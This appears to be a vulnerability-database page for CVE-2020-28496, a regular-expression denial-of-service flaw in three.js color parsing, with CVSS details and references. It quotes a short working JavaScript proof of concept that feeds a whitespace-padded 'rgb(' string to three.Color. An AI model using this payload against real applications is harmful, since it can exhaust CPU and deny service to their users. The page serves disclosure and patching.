CVE-2020-28496

Regular Expression Denial of Service (ReDoS)

HIGH
7.5
CVSS Score
Published: February 18, 2021 at 02:20 PM UTC
Updated: June 17, 2026 at 03:10 AM UTC
1 product affected across 1 vendorThree

Using three by N/A?

Get instant alerts when new vulnerabilities affect three - before attackers find them.

Real-time alertsTrack your software stackFree plan available
Severity
HIGH7.5
Exploit prediction
EPSS 3%

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Affected

Our own answer: ranges merged, affected separated from platform-only, with confidence and review flags.

v < 0.125.0
Affected range stops below 0.125.0, so it looks safe — our inference, not a vendor statement

Remediation

No guide yet

No remediation guidance has been written for this CVE yet. What the record does show:

References (4)

x_refsource_MISCExploitIssue TrackingThird Party Advisory
https://github.com/mrdoob/three.js/issues/21132
x_refsource_MISCExploitThird Party Advisory
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
x_refsource_MISCExploitThird Party Advisory
https://snyk.io/vuln/SNYK-JS-THREE-1064931

CVSS

7.5HIGHsnyk
Attack Vector
NETWORK
Complexity
LOW
Privileges
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
NONE
Availability
HIGH
Vector?

Quick Info

StatusMODIFIED
CWE
CWE-400

Get alerted

Stop reading CVE feeds looking for your own stack

Track the products you run and VulnTracker tells you when a new CVE affects them — with what is known about fixing it, and nothing about the rest.

Free plan, no card